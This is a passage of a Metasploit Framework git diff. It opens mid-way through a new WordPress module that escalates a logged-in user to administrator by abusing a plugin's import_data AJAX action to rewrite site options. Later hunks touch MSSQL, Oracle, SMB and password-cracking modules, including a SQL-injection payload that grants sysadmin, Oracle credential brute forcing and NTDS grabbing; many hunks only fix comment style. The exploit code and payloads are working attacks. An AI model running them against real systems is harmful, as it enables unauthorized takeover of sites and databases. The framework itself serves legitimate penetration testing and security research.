unless serialized_value.nil? + Rex::Text.encode_base64(serialized_value) + end + end + + def set_wp_option(name, value, cookie) + encoded_value = serialize_and_encode(value) + if encoded_value.nil? + vprint_error("#{peer} - Failed to serialize #{value}.") + else + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'import_data' }, + 'vars_post' => { 'name' => name, 'code' => encoded_value }, + 'cookie' => cookie + ) + + if res.nil? + vprint_error("#{peer} - No response from the target.") + else + vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200 + end + + return res + end + end + + def run + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("#{peer} - Authenticated with WordPress") + + new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" + print_status("#{peer} - Changing admin e-mail address to #{new_email}...") + if set_wp_option('admin_email', new_email, cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') + end + + print_status("#{peer} - Enabling user registrations...") + if set_wp_option('users_can_register', 1, cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') + end + + print_status("#{peer} - Setting the default user role...") + if set_wp_option('default_role', 'administrator', cookie).nil? + fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') + end + + register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') + print_good("#{peer} - Privilege escalation complete") + print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") + end +end diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb index cfd7686bcb..27b931c1a7 100644 --- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb +++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary def run connect - #Grab the MaxDB info. + # Grab the MaxDB info. pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF" pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00" pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00" @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary print_status(info) end - #Send our command. + # Send our command. len = 39 + datastore['CMD'].length data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00" diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 48937bf983..50c7d6d536 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', #Initial discovery, poc - 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' #Msf module + 'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc + 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module ], 'References' => [ @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary unless length == data.length vprint_warning("#{peer} - Inconsistent length / data packet") - #return nil + # return nil end return { :length => length, :data => data } diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 97e709bd31..b7272a17cc 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -48,8 +48,8 @@ class Metasploit3 < Msf::Auxiliary :type => 'MSSQL_ENUM', :data => "Version: #{sqlversion}") - #------------------------------------------------------- - #Check Configuration Parameters and check what is enabled + #--------------------------------------------------------- + # Check Configuration Parameters and check what is enabled print_status("Configuration Parameters:") if vernum.join != "2000" query = "SELECT name, CAST(value_in_use AS INT) from sys.configurations" @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary sysconfig[l[0].strip] = l[1].to_i end else - #enable advanced options + # enable advanced options mssql_query("EXEC sp_configure \'show advanced options\', 1; RECONFIGURE")[:rows] query = "EXECUTE sp_configure" ver = mssql_query(query)[:rows] @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #checking for C2 Audit Mode + # checking for C2 Audit Mode if sysconfig['c2 audit mode'] == 1 print_status("\tC2 Audit Mode is Enabled") report_note(:host => datastore['RHOST'], @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #check if xp_cmdshell is enabled + # check if xp_cmdshell is enabled if vernum.join != "2000" if sysconfig['xp_cmdshell'] == 1 print_status("\txp_cmdshell is Enabled") @@ -126,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #check if remote access is enabled + # check if remote access is enabled if sysconfig['remote access'] == 1 print_status("\tremote access is Enabled") report_note(:host => datastore['RHOST'], @@ -162,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #check if Mail stored procedures are enabled + # check if Mail stored procedures are enabled if vernum.join != "2000" if sysconfig['Database Mail XPs'] == 1 print_status("\tDatabase Mail XPs is Enabled") @@ -199,7 +199,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #check if OLE stored procedures are enabled + # check if OLE stored procedures are enabled if vernum.join != "2000" if sysconfig['Ole Automation Procedures'] == 1 print_status("\tOle Automation Procedures are Enabled") @@ -451,7 +451,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #Check for local accounts with same username as password + # Check for local accounts with same username as password sameasuser = [] if vernum.join != "2000" sameasuser = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(name, password_hash\) = 1")[:rows] @@ -479,7 +479,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #Check for local accounts with empty password + # Check for local accounts with empty password blankpass = [] if vernum.join != "2000" blankpass = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(\'\', password_hash\) = 1")[:rows] @@ -507,7 +507,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #Check for dangerous stored procedures + # Check for dangerous stored procedures fountsp = [] dangeroussp = [ 'sp_createorphan', @@ -732,7 +732,7 @@ EOS end #------------------------------------------------------- - #Enumerate Instances + # Enumerate Instances instances =[] if vernum.join != "2000" querykey = "EXEC master..xp_regenumvalues \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL\'" @@ -769,7 +769,7 @@ EOS end #--------------------------------------------------------- - #Enumerate under what accounts the instance services are running under + # Enumerate under what accounts the instance services are running under print_status("Default Server Instance SQL Server Service is running under the privilege of:") privdflt = mssql_query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER\',\'ObjectName\'")[:rows] if privdflt != nil diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb index 10632d13eb..83a8d2d1ec 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb @@ -33,12 +33,13 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 3000]) + OptInt.new('START_RID', [true, 'RID to start fuzzing at.', 500]), + OptInt.new('END_RID', [true, 'RID to stop fuzzing at.', 3000]) ], self.class) end def run - print_status("#{peer} - Grabbing the server and domain name...") + print_status("#{peer} - Grabbing the SQL Server name and domain...") db_server_name = get_server_name if db_server_name.nil? print_error("#{peer} - Unable to grab the server name") @@ -71,7 +72,8 @@ class Metasploit3 < Msf::Auxiliary end # Get a list of windows users, groups, and computer accounts using SUSER_NAME() - print_status("#{peer} - Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...") + total_rids = datastore['END_RID'] - datastore['START_RID'] + print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...") domain_users = get_win_domain_users(windows_domain_sid) if domain_users.nil? print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.") @@ -172,11 +174,12 @@ class Metasploit3 < Msf::Auxiliary windows_logins = [] + total_rids = datastore['END_RID'] - datastore['START_RID'] # Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function - (500..datastore['FuzzNum']).each do |principal_id| - + (datastore['START_RID']..datastore['END_RID']).each do |principal_id| + rid_diff = principal_id - datastore['START_RID'] if principal_id % 100 == 0 - print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}") + print_status("#{peer} - #{rid_diff} of #{total_rids } RID queries complete") end user_sid = build_user_sid(domain_sid, principal_id) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb index 47c5eb6c0c..7f94d52706 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary return nil end - #Parse results + # Parse results parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m) if parsed_result && !parsed_result.empty? diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index b2050a44bb..346efa1109 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -190,10 +190,10 @@ class Metasploit3 < Msf::Auxiliary end # Attempt to escalate privileges - def escalate_privs(imp_user,db_user) + def escalate_privs(db_user) # Setup Query - Impersonate the first sysadmin user on the list - evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--" + evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--" # Execute Query mssql_query(evil_sql) diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index 34d3ff1c7b..976ce09e8b 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -53,12 +53,12 @@ class Metasploit3 < Msf::Auxiliary def sql_statement() - #DEFINED HEADER TEXT + # DEFINED HEADER TEXT headings = [ ["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"] ] - #DEFINE SEARCH QUERY AS VARIABLE + # DEFINE SEARCH QUERY AS VARIABLE sql = " -- CHECK IF VERSION IS COMPATABLE = > than 2000 IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1, @@ -341,11 +341,11 @@ class Metasploit3 < Msf::Auxiliary - #STATUSING + # STATUSING print_line(" ") print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...") - #CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING + # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING begin result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] @@ -355,14 +355,14 @@ class Metasploit3 < Msf::Auxiliary return end - #CREATE TABLE TO STORE SQL SERVER DATA LOOT + # CREATE TABLE TO STORE SQL SERVER DATA LOOT sql_data_tbl = Rex::Ui::Text::Table.new( 'Header' => 'SQL Server Data', 'Indent' => 1, 'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count'] ) - #STATUSING + # STATUSING print_status("Attempting to retrieve data ...") if (column_data.count < 7) @@ -386,7 +386,7 @@ class Metasploit3 < Msf::Auxiliary print_line(" ") end - #SETUP ROW WIDTHS + # SETUP ROW WIDTHS widths = [0, 0, 0, 0, 0, 0, 0, 0] (column_data|headings).each { |row| 0.upto(7) { |col| @@ -394,7 +394,7 @@ class Metasploit3 < Msf::Auxiliary } } - #PRINT HEADERS + # PRINT HEADERS buffer1 = "" buffer2 = "" headings.each { |row| @@ -406,7 +406,7 @@ class Metasploit3 < Msf::Auxiliary buffer2 = buffer2.chomp(",")+ "\n" } - #PRINT DIVIDERS + # PRINT DIVIDERS buffer1 = "" buffer2 = "" headings.each { |row| @@ -417,7 +417,7 @@ class Metasploit3 < Msf::Auxiliary print_line(buffer1) } - #PRINT DATA + # PRINT DATA buffer1 = "" buffer2 = "" print_line("") @@ -429,7 +429,7 @@ class Metasploit3 < Msf::Auxiliary print_line(buffer1) buffer2 = buffer2.chomp(",")+ "\n" - #WRITE QUERY OUTPUT TO TEMP REPORT TABLE + # WRITE QUERY OUTPUT TO TEMP REPORT TABLE sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]] buffer1 = "" @@ -448,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary ) end - #CONVERT TABLE TO CSV AND WRITE TO FILE + # CONVERT TABLE TO CSV AND WRITE TO FILE if (save_loot=="yes") filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv" path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service) diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 34bbd8d5d0..92aef65a3b 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -32,11 +32,11 @@ class Metasploit3 < Msf::Auxiliary print_status("Running MySQL Enumerator...") print_status("Enumerating Parameters") #------------------------------------------------------- - #getting all variables + # getting all variables vparm = {} res = mysql_query("show variables") || [] res.each do |row| - #print_status(" | #{row.join(" | ")} |") + # print_status(" | #{row.join(" | ")} |") vparm[row[0]] = row[1] end @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary query = "use mysql" mysql_query(query) - #Account Enumeration + # Account Enumeration # Enumerate all accounts with their password hashes print_status("Enumerating Accounts:") query = "select user, host, password from mysql.user" diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index a75e1a4303..f4a0fbdf1f 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...") fd = CSV.foreach(list) do |brute| + datastore['DBUSER'] = brute[2].downcase + datastore['DBPASS'] = brute[3].downcase - datastore['DBUSER'] = brute[2].downcase - datastore['DBPASS'] = brute[3].downcase - - begin - connect - disconnect - rescue ::OCIError => e + begin + connect + disconnect + rescue ::OCIError => e + if e.to_s =~ /^ORA-12170:\s/ + print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out") + break + end else - if (not e) - report_auth_info( + report_auth_info( :host => "#{datastore['RHOST']}", :port => "#{datastore['RPORT']}", :sname => 'oracle', :user => "#{datastore['SID']}/#{datastore['DBUSER']}", :pass => "#{datastore['DBPASS']}", :active => true - ) - print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") - end - end + ) + print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") + end end end end diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index 9313e577f3..ee9efbb905 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary begin print_status("Sending statement: '#{query}'...") result = prepare_exec(query) - #Need this if 'cause some statements won't return anything + # Need this if statement because some statements won't return anything if result result.each do |line| print_status(line) diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb index 84736d2734..44e67f20d0 100644 --- a/modules/auxiliary/admin/oracle/oraenum.rb +++ b/modules/auxiliary/admin/oracle/oraenum.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary return if not check_dependencies begin - #Get all values from v$parameter + # Get all values from v$parameter query = 'select name,value from v$parameter' vparm = {} params = prepare_exec(query) @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Running Oracle Enumeration....") - #Version Check + # Version Check query = 'select * from v$version' ver = prepare_exec(query) print_status("The versions of the Components are:") @@ -64,11 +64,11 @@ class Metasploit3 < Msf::Auxiliary ) end - #Saving Major Release Number for other checks + # Saving Major Release Number for other checks majorrel = ver[0].scan(/Edition Release (\d*)./) #------------------------------------------------------- - #Audit Check + # Audit Check print_status("Auditing:") begin if vparm["audit_trail"] == "NONE" @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #Security Settings + # Security Settings print_status("Security Settings:") begin @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary end #------------------------------------------------------- - #Password Policy + # Password Policy print_status("Password Policy:") begin query = %Q| diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 4003986145..3f85ac29ef 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 7557d237e5..fa10e76987 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -8,8 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9a12f2e407..251e3f130e 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -8,8 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index 097cb2d0e0..53e52f66e8 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 8a0ea4daeb..400b703de0 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Auxiliary end - #check if our process is done using these files + # check if our process is done using these files def exclusive_access(*files) simple.connect("\\\\#{@ip}\\#{@smbshare}") files.each do |file| diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 01a40c53fe..dc1fd03215 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report # Aliases for common classes @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary @smbshare = datastore['SMBSHARE'] # Try and connect if connect - #Try and authenticate with given credentials + # Try and authenticate with given credentials begin smb_login rescue StandardError => autherror diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 968fe1cbc6..e0c7b914b6 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index d8accb7813..06085c7874 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index a9bbeb0f13..5e63df3926 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -64,10 +64,10 @@ class Metasploit3 < Msf::Auxiliary n = 0 c = 0 - #puts "body is #{res.body.length} bytes" + # puts "body is #{res.body.length} bytes" infos = res.body.split(/\r?\n/) infos.each do |row| - #puts row.inspect + # puts row.inspect if (c < 6) if (row.match(/\["file"\]=>/)) c+=1 diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index bea5afa96b..52969f35b0 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary def run cracker = new_john_cracker - #generate our wordlist and close the file handle + # generate our wordlist and close the file handle wordlist = wordlist_file wordlist.close print_status "Wordlist file written out to #{wordlist.path}" @@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 6f707758b2..e1137d8945 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 90b010f6be..2b3483c60f 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary cracker = new_john_cracker - #generate our wordlist and close the file handle + # generate our wordlist and close the file handle wordlist = wordlist_file wordlist.close print_status "Wordlist file written out to #{wordlist.path}" @@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index c5d27273c4..45980b7cbe 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary @formats = Set.new cracker = new_john_cracker - #generate our wordlist and close the file handle + # generate our wordlist and close the file handle wordlist = wordlist_file wordlist.close print_status "Wordlist file written out to #{wordlist.path}" @@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 6881948ba6..246a7c9cb1 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary def run cracker = new_john_cracker - #generate our wordlist and close the file handle + # generate our wordlist and close the file handle wordlist = wordlist_file wordlist.close print_status "Wordlist file written out to #{wordlist.path}" @@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb index 0637971d2f..5b0053951b 100644 --- a/modules/auxiliary/analyze/jtr_postgres_fast.rb +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary hash_list = hash_file - #generate our wordlist and close the file handle + # generate our wordlist and close the file handle wordlist = wordlist_file wordlist.close @@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end @@ -103,11 +108,12 @@ class Metasploit3 < Msf::Auxiliary def hash_file hashlist = Rex::Quickfile.new("hashes_tmp") - Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'raw-md5,postgres').each do |hash| + Metasploit::Credential::PostgresMD5.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }).each do |hash| hash.cores.each do |core| user = core.public.username @username_set << user hash_string = "#{hash.data}" + hash_string.gsub!(/^md5/, '') id = core.id hashlist.puts "#{user}:#{hash_string}:#{id}:" end diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index d1ccdf3956..24b211a13b 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -49,29 +49,29 @@ class Metasploit3 < Msf::Auxiliary bnatmac = arp2(bnatip,outint) print_line("Obtained BNAT MAC: #{bnatmac}\n\n") - #Create Interface Specific Configs + # Create Interface Specific Configs outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config - #Set Captures for Traffic coming from Outside and from Inside respectively + # Set Captures for Traffic coming from Outside and from Inside respectively outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" ) print_line("Now listening on #{outint}...") inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" ) print_line("Now listening on #{inint}...\n\n") - #Start Thread from Outside Processing + 